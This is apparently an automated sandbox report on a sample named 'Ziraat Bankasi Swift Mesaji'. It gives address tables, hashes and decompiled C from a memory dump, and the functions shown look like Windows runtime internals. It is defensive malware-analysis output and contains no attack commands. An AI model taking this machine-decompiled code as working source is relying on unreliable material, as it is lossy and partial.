                                                                        0x012a29bb
                                                                        0x012a29c0
                                                                        0x012a29c5
                                                                        0x012a29c6
                                                                        0x012a29c6
                                                                        0x012a29c9
                                                                        0x012a29cb
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a29cd
                                                                        0x012a29d0
                                                                        0x012a29d9
                                                                        0x012a29db
                                                                        0x012a29dd
                                                                        0x012a2a7f
                                                                        0x012a2a84
                                                                        0x012a2a87
                                                                        0x012a2a89
                                                                        0x012e5ca1
                                                                        0x012e5ca3
                                                                        0x00000000
                                                                        0x012a2a8f
                                                                        0x012a2a8f
                                                                        0x00000000
                                                                        0x012a2a8f
                                                                        0x00000000
                                                                        0x012a29e3
                                                                        0x012a29e3
                                                                        0x012a29e3
                                                                        0x00000000
                                                                        0x012a29e3
                                                                        0x012a29dd
                                                                        0x00000000
                                                                        0x012a29db
                                                                        0x012a29e6
                                                                        0x012a29e9
                                                                        0x012a29eb
                                                                        0x012a29ed
                                                                        0x012a29f3
                                                                        0x012a29f5
                                                                        0x012a29f8
                                                                        0x012a29fa
                                                                        0x012a2a97
                                                                        0x012a2a9a
                                                                        0x012a2a9d
                                                                        0x012a2add
                                                                        0x00000000
                                                                        0x012a2a9f
                                                                        0x012a2aa2
                                                                        0x012a2aa5
                                                                        0x012a2aa8
                                                                        0x012a2aab
                                                                        0x012e5cab
                                                                        0x012e5caf
                                                                        0x012e5cc5
                                                                        0x012e5cda
                                                                        0x012e5cdc
                                                                        0x012e5cdf
                                                                        0x012e5ce5
                                                                        0x00000000
                                                                        0x012e5ceb
                                                                        0x012e5ced
                                                                        0x012e5cee
                                                                        0x00000000
                                                                        0x012e5cee
                                                                        0x012e5cb1
                                                                        0x012e5cb4
                                                                        0x012e5cb9
                                                                        0x012e5cbb
                                                                        0x00000000
                                                                        0x012e5cbd
                                                                        0x012e5cbd
                                                                        0x00000000
                                                                        0x012e5cbd
                                                                        0x012e5cbb
                                                                        0x012a2ab1
                                                                        0x012a2ab1
                                                                        0x012a2ac4
                                                                        0x012a2ac6
                                                                        0x012a2ac6
                                                                        0x00000000
                                                                        0x012a2ac6
                                                                        0x012a2aab
                                                                        0x00000000
                                                                        0x012a2a00
                                                                        0x012a2a09
                                                                        0x012a2a0e
                                                                        0x012a2a21
                                                                        0x012a2a24
                                                                        0x012a2a35
                                                                        0x012a2a3a
                                                                        0x012a2a3d
                                                                        0x012a2a42
                                                                        0x012a2a59
                                                                        0x012a2a59
                                                                        0x012a2a5c
                                                                        0x012a2a5f
                                                                        0x012a2a5f
                                                                        0x012a29fa
                                                                        0x012a29f3
                                                                        0x012a2a64
                                                                        0x012a2a64
                                                                        0x012a2a6b
                                                                        0x012a2a6b
                                                                        0x012a2a6d
                                                                        0x012a2a72
                                                                        0x012a2a72
                                                                        0x00000000

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: PATH
                                                                        • API String ID: 0-1036084923
                                                                        • Opcode ID: 60c106322c59da74ad6d113f20c9d8c5d49594657f90ea182718b5018e47248a
                                                                        • Instruction ID: 8874a8c1ce7579cef27c1b4119fca3314943ef9ba8def7d508d337973e4232e4
                                                                        • Opcode Fuzzy Hash: 60c106322c59da74ad6d113f20c9d8c5d49594657f90ea182718b5018e47248a
                                                                        • Instruction Fuzzy Hash: 0BC1BFB5D2121ADFDB29DF98DC81ABDBBB5FF48740F844029E901BB250E774A941CB60
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0127C962 Relevance: 1.6, APIs: 1, Instructions: 57COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 42%
                                                                        			E0127C962(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t19;
				intOrPtr _t22;
				void* _t26;
				void* _t27;
				void* _t32;
				intOrPtr _t34;
				void* _t35;
				void* _t37;
				intOrPtr* _t38;
				signed int _t39;

				_t41 = (_t39 & 0xfffffff8) - 0xc;
				_v8 =  *0x136d360 ^ (_t39 & 0xfffffff8) - 0x0000000c;
				_t34 = __ecx;
				if(( *( *[fs:0x30] + 0x68) & 0x00000100) != 0) {
					_t26 = 0;
					E0128EEF0(0x13670a0);
					_t29 =  *((intOrPtr*)(_t34 + 0x18));
					if(E012FF625( *((intOrPtr*)(_t34 + 0x18))) != 0) {
						L9:
						E0128EB70(_t29, 0x13670a0);
						_t19 = _t26;
						L2:
						_pop(_t35);
						_pop(_t37);
						_pop(_t27);
						return E012BB640(_t19, _t27, _v8 ^ _t41, _t32, _t35, _t37);
					}
					_t29 = _t34;
					_t26 = E012FF1FC(_t34, _t32);
					if(_t26 < 0) {
						goto L9;
					}
					_t38 =  *0x13670c0; // 0x0
					while(_t38 != 0x13670c0) {
						_t22 =  *((intOrPtr*)(_t38 + 0x18));
						_t38 =  *_t38;
						_v12 = _t22;
						if(_t22 != 0) {
							_t29 = _t22;
							 *0x136b1e0( *((intOrPtr*)(_t34 + 0x30)),  *((intOrPtr*)(_t34 + 0x18)),  *((intOrPtr*)(_t34 + 0x20)), _t34);
							_v12();
						}
					}
					goto L9;
				}
				_t19 = 0;
				goto L2;
			}


















                                                                        0x0127c96a
                                                                        0x0127c974
                                                                        0x0127c988
                                                                        0x0127c98a
                                                                        0x012e7c9d
                                                                        0x012e7c9f
                                                                        0x012e7ca4
                                                                        0x012e7cae
                                                                        0x012e7cf0
                                                                        0x012e7cf5
                                                                        0x012e7cfa
                                                                        0x0127c992
                                                                        0x0127c996
                                                                        0x0127c997
                                                                        0x0127c998
                                                                        0x0127c9a3
                                                                        0x0127c9a3
                                                                        0x012e7cb0
                                                                        0x012e7cb7
                                                                        0x012e7cbb
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e7cbd
                                                                        0x012e7ce8
                                                                        0x012e7cc5
                                                                        0x012e7cc8
                                                                        0x012e7cca
                                                                        0x012e7cd0
                                                                        0x012e7cd6
                                                                        0x012e7cde
                                                                        0x012e7ce4
                                                                        0x012e7ce4
                                                                        0x012e7cd0
                                                                        0x00000000
                                                                        0x012e7ce8
                                                                        0x0127c990
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: f67692fb9a8a9f3409fef1ddfe97c8a1057d42de5e5a9a06f3c07118b1d05f6b
                                                                        • Instruction ID: e2c8f7484073636c43e187f871c73c9297dd8bb8cd0253dc1038870f98800203
                                                                        • Opcode Fuzzy Hash: f67692fb9a8a9f3409fef1ddfe97c8a1057d42de5e5a9a06f3c07118b1d05f6b
                                                                        • Instruction Fuzzy Hash: 8611C2323346079BC710AF29DC89A6BB7E9FB85614F801528EA41836A1DB60EC24C7D1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01272D8A Relevance: 1.4, Strings: 1, Instructions: 191COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 63%
                                                                        			E01272D8A(void* __ebx, signed char __ecx, signed int __edx, signed int __edi) {
				signed char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v52;
				void* __esi;
				void* __ebp;
				intOrPtr _t55;
				signed int _t57;
				signed int _t58;
				char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed int _t67;
				signed int _t72;
				signed int _t77;
				signed int _t78;
				signed int _t88;
				intOrPtr _t89;
				signed char _t93;
				signed int _t97;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				signed char _t109;
				signed int _t111;
				void* _t116;

				_t102 = __edi;
				_t97 = __edx;
				_v12 = _v12 & 0x00000000;
				_t55 =  *[fs:0x18];
				_t109 = __ecx;
				_v8 = __edx;
				_t86 = 0;
				_v32 = _t55;
				_v24 = 0;
				_push(__edi);
				if(__ecx == 0x1365350) {
					_t86 = 1;
					_v24 = 1;
					 *((intOrPtr*)(_t55 + 0xf84)) = 1;
				}
				_t103 = _t102 | 0xffffffff;
				if( *0x1367bc8 != 0) {
					_push(0xc000004b);
					_push(_t103);
					E012B97C0();
				}
				if( *0x13679c4 != 0) {
					_t57 = 0;
				} else {
					_t57 = 0x13679c8;
				}
				_v16 = _t57;
				if( *((intOrPtr*)(_t109 + 0x10)) == 0) {
					_t93 = _t109;
					L23();
				}
				_t58 =  *_t109;
				if(_t58 == _t103) {
					__eflags =  *(_t109 + 0x14) & 0x01000000;
					_t58 = _t103;
					if(__eflags == 0) {
						_t93 = _t109;
						E012A1624(_t86, __eflags);
						_t58 =  *_t109;
					}
				}
				_v20 = _v20 & 0x00000000;
				if(_t58 != _t103) {
					 *((intOrPtr*)(_t58 + 0x14)) =  *((intOrPtr*)(_t58 + 0x14)) + 1;
				}
				_t104 =  *((intOrPtr*)(_t109 + 0x10));
				_t88 = _v16;
				_v28 = _t104;
				L9:
				while(1) {
					if(E01297D50() != 0) {
						_t62 = ( *[fs:0x30])[0x50] + 0x228;
					} else {
						_t62 = 0x7ffe0382;
					}
					if( *_t62 != 0) {
						_t63 =  *[fs:0x30];
						__eflags = _t63[0x240] & 0x00000002;
						if((_t63[0x240] & 0x00000002) != 0) {
							_t93 = _t109;
							E0130FE87(_t93);
						}
					}
					if(_t104 != 0xffffffff) {
						_push(_t88);
						_push(0);
						_push(_t104);
						_t64 = E012B9520();
						goto L15;
					} else {
						while(1) {
							_t97 =  &_v8;
							_t64 = E012AE18B(_t109 + 4, _t97, 4, _t88, 0);
							if(_t64 == 0x102) {
								break;
							}
							_t93 =  *(_t109 + 4);
							_v8 = _t93;
							if((_t93 & 0x00000002) != 0) {
								continue;
							}
							L15:
							if(_t64 == 0x102) {
								break;
							}
							_t89 = _v24;
							if(_t64 < 0) {
								E012CDF30(_t93, _t97, _t64);
								_push(_t93);
								_t98 = _t97 | 0xffffffff;
								__eflags =  *0x1366901;
								_push(_t109);
								_v52 = _t98;
								if( *0x1366901 != 0) {
									_push(0);
									_push(1);
									_push(0);
									_push(0x100003);
									_push( &_v12);
									_t72 = E012B9980();
									__eflags = _t72;
									if(_t72 < 0) {
										_v12 = _t98 | 0xffffffff;
									}
								}
								asm("lock cmpxchg [ecx], edx");
								_t111 = 0;
								__eflags = 0;
								if(0 != 0) {
									__eflags = _v12 - 0xffffffff;
									if(_v12 != 0xffffffff) {
										_push(_v12);
										E012B95D0();
									}
								} else {
									_t111 = _v12;
								}
								return _t111;
							} else {
								if(_t89 != 0) {
									 *((intOrPtr*)(_v32 + 0xf84)) = 0;
									_t77 = E01297D50();
									__eflags = _t77;
									if(_t77 == 0) {
										_t64 = 0x7ffe0384;
									} else {
										_t64 = ( *[fs:0x30])[0x50] + 0x22a;
									}
									__eflags =  *_t64;
									if( *_t64 != 0) {
										_t64 =  *[fs:0x30];
										__eflags = _t64[0x240] & 0x00000004;
										if((_t64[0x240] & 0x00000004) != 0) {
											_t78 = E01297D50();
											__eflags = _t78;
											if(_t78 == 0) {
												_t64 = 0x7ffe0385;
											} else {
												_t64 = ( *[fs:0x30])[0x50] + 0x22b;
											}
											__eflags =  *_t64 & 0x00000020;
											if(( *_t64 & 0x00000020) != 0) {
												_t64 = E012F7016(0x1483, _t97 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
											}
										}
									}
								}
								return _t64;
							}
						}
						_t97 = _t88;
						_t93 = _t109;
						E0130FDDA(_t97, _v12);
						_t105 =  *_t109;
						_t67 = _v12 + 1;
						_v12 = _t67;
						__eflags = _t105 - 0xffffffff;
						if(_t105 == 0xffffffff) {
							_t106 = 0;
							__eflags = 0;
						} else {
							_t106 =  *(_t105 + 0x14);
						}
						__eflags = _t67 - 2;
						if(_t67 > 2) {
							__eflags = _t109 - 0x1365350;
							if(_t109 != 0x1365350) {
								__eflags = _t106 - _v20;
								if(__eflags == 0) {
									_t93 = _t109;
									E0130FFB9(_t88, _t93, _t97, _t106, _t109, __eflags);
								}
							}
						}
						_push("RTL: Re-Waiting\n");
						_push(0);
						_push(0x65);
						_v20 = _t106;
						E01305720();
						_t104 = _v28;
						_t116 = _t116 + 0xc;
						continue;
					}
				}
			}




































                                                                        0x01272d8a
                                                                        0x01272d8a
                                                                        0x01272d92
                                                                        0x01272d96
                                                                        0x01272d9e
                                                                        0x01272da0
                                                                        0x01272da3
                                                                        0x01272da5
                                                                        0x01272da8
                                                                        0x01272dab
                                                                        0x01272db2
                                                                        0x012cf9aa
                                                                        0x012cf9ab
                                                                        0x012cf9ae
                                                                        0x012cf9ae
                                                                        0x01272db8
                                                                        0x01272dc2
                                                                        0x012cf9b9
                                                                        0x012cf9be
                                                                        0x012cf9bf
                                                                        0x012cf9bf
                                                                        0x01272dcf
                                                                        0x012cf9c9
                                                                        0x01272dd5
                                                                        0x01272dd5
                                                                        0x01272dd5
                                                                        0x01272dde
                                                                        0x01272de1
                                                                        0x01272e70
                                                                        0x01272e72
                                                                        0x01272e72
                                                                        0x01272de7
                                                                        0x01272deb
                                                                        0x01272e7c
                                                                        0x01272e83
                                                                        0x01272e85
                                                                        0x01272e8b
                                                                        0x01272e8d
                                                                        0x01272e92
                                                                        0x01272e92
                                                                        0x01272e85
                                                                        0x01272df1
                                                                        0x01272df7
                                                                        0x01272df9
                                                                        0x01272df9
                                                                        0x01272dfc
                                                                        0x01272dff
                                                                        0x01272e02
                                                                        0x00000000
                                                                        0x01272e05
                                                                        0x01272e0c
                                                                        0x012cf9d9
                                                                        0x01272e12
                                                                        0x01272e12
                                                                        0x01272e12
                                                                        0x01272e1a
                                                                        0x012cf9e3
                                                                        0x012cf9e9
                                                                        0x012cf9f0
                                                                        0x012cf9f6
                                                                        0x012cf9f8
                                                                        0x012cf9f8
                                                                        0x012cf9f0
                                                                        0x01272e23
                                                                        0x012cfa02
                                                                        0x012cfa03
                                                                        0x012cfa05
                                                                        0x012cfa06
                                                                        0x00000000
                                                                        0x01272e29
                                                                        0x01272e29
                                                                        0x01272e2e
                                                                        0x01272e34
                                                                        0x01272e3e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01272e44
                                                                        0x01272e47
                                                                        0x01272e4d
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01272e4f
                                                                        0x01272e54
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01272e5a
                                                                        0x01272e5f
                                                                        0x01272e9a
                                                                        0x01272ea4
                                                                        0x01272ea5
                                                                        0x01272ea8
                                                                        0x01272eaf
                                                                        0x01272eb2
                                                                        0x01272eb5
                                                                        0x012cfae9
                                                                        0x012cfaeb
                                                                        0x012cfaed
                                                                        0x012cfaef
                                                                        0x012cfaf7
                                                                        0x012cfaf8
                                                                        0x012cfafd
                                                                        0x012cfaff
                                                                        0x012cfb04
                                                                        0x012cfb04
                                                                        0x012cfaff
                                                                        0x01272ec0
                                                                        0x01272ec4
                                                                        0x01272ec6
                                                                        0x01272ec8
                                                                        0x012cfb14
                                                                        0x012cfb18
                                                                        0x012cfb1e
                                                                        0x012cfb21
                                                                        0x012cfb21
                                                                        0x01272ece
                                                                        0x01272ece
                                                                        0x01272ece
                                                                        0x01272ed7
                                                                        0x01272e61
                                                                        0x01272e63
                                                                        0x012cfa6b
                                                                        0x012cfa71
                                                                        0x012cfa76
                                                                        0x012cfa78
                                                                        0x012cfa8a
                                                                        0x012cfa7a
                                                                        0x012cfa83
                                                                        0x012cfa83
                                                                        0x012cfa8f
                                                                        0x012cfa91
                                                                        0x012cfa97
                                                                        0x012cfa9d
                                                                        0x012cfaa4
                                                                        0x012cfaaa
                                                                        0x012cfaaf
                                                                        0x012cfab1
                                                                        0x012cfac3
                                                                        0x012cfab3
                                                                        0x012cfabc
                                                                        0x012cfabc
                                                                        0x012cfac8
                                                                        0x012cfacb
                                                                        0x012cfadf
                                                                        0x012cfadf
                                                                        0x012cfacb
                                                                        0x012cfaa4
                                                                        0x012cfa91
                                                                        0x01272e6f
                                                                        0x01272e6f
                                                                        0x01272e5f
                                                                        0x012cfa13
                                                                        0x012cfa15
                                                                        0x012cfa17
                                                                        0x012cfa1f
                                                                        0x012cfa21
                                                                        0x012cfa22
                                                                        0x012cfa25
                                                                        0x012cfa28
                                                                        0x012cfa2f
                                                                        0x012cfa2f
                                                                        0x012cfa2a
                                                                        0x012cfa2a
                                                                        0x012cfa2a
                                                                        0x012cfa31
                                                                        0x012cfa34
                                                                        0x012cfa36
                                                                        0x012cfa3c
                                                                        0x012cfa3e
                                                                        0x012cfa41
                                                                        0x012cfa43
                                                                        0x012cfa45
                                                                        0x012cfa45
                                                                        0x012cfa41
                                                                        0x012cfa3c
                                                                        0x012cfa4a
                                                                        0x012cfa4f
                                                                        0x012cfa51
                                                                        0x012cfa53
                                                                        0x012cfa56
                                                                        0x012cfa5b
                                                                        0x012cfa5e
                                                                        0x00000000
                                                                        0x012cfa5e
                                                                        0x01272e23

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: RTL: Re-Waiting
                                                                        • API String ID: 0-316354757
                                                                        • Opcode ID: e6db8ebafa3dca7e77c991af3d6ed974a51deee4880d0f29c8abc5a9a47170fe
                                                                        • Instruction ID: e07628d314b2a5dc06ae0229638e0b933d83986b5f40a2366dee1aeec512a73d
                                                                        • Opcode Fuzzy Hash: e6db8ebafa3dca7e77c991af3d6ed974a51deee4880d0f29c8abc5a9a47170fe
                                                                        • Instruction Fuzzy Hash: 45614531A20606DFEB32DF6CC980B7FBBE6EB45B14F1446A9EB11972C1C774A9008791
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012752A5 Relevance: 1.4, Strings: 1, Instructions: 161COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 78%
                                                                        			E012752A5(char __ecx) {
				char _v20;
				char _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v64;
				void* __ebx;
				intOrPtr* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				intOrPtr* _t102;
				intOrPtr* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					E0128EEF0(0x13679a0);
					_t104 =  *0x1368210; // 0xe12ce0
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)(_t104 + 8));
					E0128EB70(_t93, 0x13679a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_push( *((intOrPtr*)(_t104 + 4)));
							_t53 = E012B9890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									E0128EEF0(0x13679a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E0128EB70(0, 0x13679a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t13 = _t104 + 0xc; // 0xe12ced
								_t93 = _t13;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E012AF0BF(_t13,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									E0128EEF0(0x13679a0);
									__eflags =  *0x1368210 - _t104; // 0xe12ce0
									if(__eflags == 0) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0x1368210 = _t102;
										_t32 = _t102 + 0xc; // 0x0
										 *_t95 =  *_t32;
										_t33 = _t102 + 0x10; // 0x0
										 *((intOrPtr*)(_t95 + 4)) =  *_t33;
										_t35 = _t102 + 4; // 0xffffffff
										 *((intOrPtr*)(_t95 + 8)) =  *_t35;
										if(__eflags != 0) {
											_t95 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10))));
											E012F4888(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10)))), __eflags);
										}
										E0128EB70(_t95, 0x13679a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E012B95D0();
											L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E012B95D0();
											L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E0128EB70(_t93, 0x13679a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t104 + 4)));
										E012B95D0();
										L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
										_t102 =  *((intOrPtr*)(_t108 + 0x10));
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_t28 = _t102 + 4; // 0xffffffff
										_push( *_t28);
										E012B95D0();
										L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t102);
									}
									continue;
								}
								_t93 =  &_v20;
								 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t104 + 0x10));
								_t85 = 6;
								_v20 = _t85;
								_t87 = E012AF0BF( &_v20,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

























                                                                        0x012752a5
                                                                        0x012752ad
                                                                        0x012752b0
                                                                        0x012752b3
                                                                        0x012752b7
                                                                        0x012752ba
                                                                        0x012752bf
                                                                        0x012752c4
                                                                        0x012752cc
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012752ce
                                                                        0x012752d9
                                                                        0x012752dd
                                                                        0x012752e7
                                                                        0x012752f7
                                                                        0x012752f9
                                                                        0x012752fd
                                                                        0x012d0dcf
                                                                        0x012d0dd5
                                                                        0x012d0dd6
                                                                        0x012d0dd7
                                                                        0x012d0dd8
                                                                        0x012d0dd9
                                                                        0x012d0dde
                                                                        0x012d0ddf
                                                                        0x012d0de0
                                                                        0x012d0de1
                                                                        0x012d0de2
                                                                        0x012d0de5
                                                                        0x012d0dea
                                                                        0x012d0dec
                                                                        0x012d0f60
                                                                        0x012d0f64
                                                                        0x012d0f70
                                                                        0x012d0f76
                                                                        0x012d0f79
                                                                        0x012d0f79
                                                                        0x00000000
                                                                        0x012d0f64
                                                                        0x012d0df2
                                                                        0x012d0df7
                                                                        0x012d0e04
                                                                        0x012d0e0d
                                                                        0x012d0e0d
                                                                        0x012d0e10
                                                                        0x012d0e1a
                                                                        0x012d0e1c
                                                                        0x012d0e4c
                                                                        0x012d0e52
                                                                        0x012d0e61
                                                                        0x012d0e67
                                                                        0x012d0e6b
                                                                        0x012d0e70
                                                                        0x012d0e76
                                                                        0x012d0ed7
                                                                        0x012d0edc
                                                                        0x012d0ee0
                                                                        0x012d0ee6
                                                                        0x012d0eea
                                                                        0x012d0eed
                                                                        0x012d0ef0
                                                                        0x012d0ef3
                                                                        0x012d0ef6
                                                                        0x012d0ef9
                                                                        0x012d0efe
                                                                        0x012d0f01
                                                                        0x012d0f01
                                                                        0x012d0f0b
                                                                        0x012d0f12
                                                                        0x012d0f16
                                                                        0x012d0f18
                                                                        0x012d0f1b
                                                                        0x012d0f2c
                                                                        0x012d0f31
                                                                        0x012d0f31
                                                                        0x012d0f35
                                                                        0x012d0f39
                                                                        0x012d0f3a
                                                                        0x012d0f3c
                                                                        0x012d0f3f
                                                                        0x012d0f50
                                                                        0x012d0f55
                                                                        0x012d0f55
                                                                        0x012d0f59
                                                                        0x012752eb
                                                                        0x012752f1
                                                                        0x012752f1
                                                                        0x012d0e7d
                                                                        0x012d0e84
                                                                        0x012d0e88
                                                                        0x012d0e8a
                                                                        0x012d0e8d
                                                                        0x012d0e9e
                                                                        0x012d0ea3
                                                                        0x012d0ea3
                                                                        0x012d0ea7
                                                                        0x012d0eaf
                                                                        0x012d0eb3
                                                                        0x012d0eb9
                                                                        0x012d0eb9
                                                                        0x012d0ebc
                                                                        0x012d0ecd
                                                                        0x012d0ecd
                                                                        0x00000000
                                                                        0x012d0eb3
                                                                        0x012d0e21
                                                                        0x012d0e2b
                                                                        0x012d0e2f
                                                                        0x012d0e30
                                                                        0x012d0e3a
                                                                        0x012d0e3f
                                                                        0x012d0e41
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d0e47
                                                                        0x00000000
                                                                        0x012d0e47
                                                                        0x012d0df9
                                                                        0x012d0dfe
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d0dfe
                                                                        0x01275303
                                                                        0x01275307
                                                                        0x00000000
                                                                        0x01275309
                                                                        0x00000000
                                                                        0x01275309
                                                                        0x01275307
                                                                        0x012752e9
                                                                        0x012752e9
                                                                        0x00000000
                                                                        0x012752e9
                                                                        0x0127530e
                                                                        0x00000000

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: ,
                                                                        • API String ID: 0-4120420056
                                                                        • Opcode ID: 866d22e7af54a018bfe507f22d03b41da97ba95e517f446edf70d36f700ae72c
                                                                        • Instruction ID: e4f1fbd43a26d1fcd948c62cfdc67cd0d8c0062953b2bd20fcf180a263dd557f
                                                                        • Opcode Fuzzy Hash: 866d22e7af54a018bfe507f22d03b41da97ba95e517f446edf70d36f700ae72c
                                                                        • Instruction Fuzzy Hash: 4251FF70165342AFD721EF28C845B2BBBE8FF54714F10491EF695876A1E7B0E840CBA6
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01340EA5 Relevance: 1.4, Strings: 1, Instructions: 153COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 80%
                                                                        			E01340EA5(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				unsigned int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v64;
				void* __ebx;
				void* __edi;
				signed int _t58;
				unsigned int _t60;
				intOrPtr _t62;
				char* _t67;
				char* _t69;
				void* _t80;
				void* _t83;
				intOrPtr _t93;
				intOrPtr _t115;
				char _t117;
				void* _t120;

				_t83 = __edx;
				_t117 = 0;
				_t120 = __ecx;
				_v44 = 0;
				if(E0133FF69(__ecx,  &_v44,  &_v32) < 0) {
					L24:
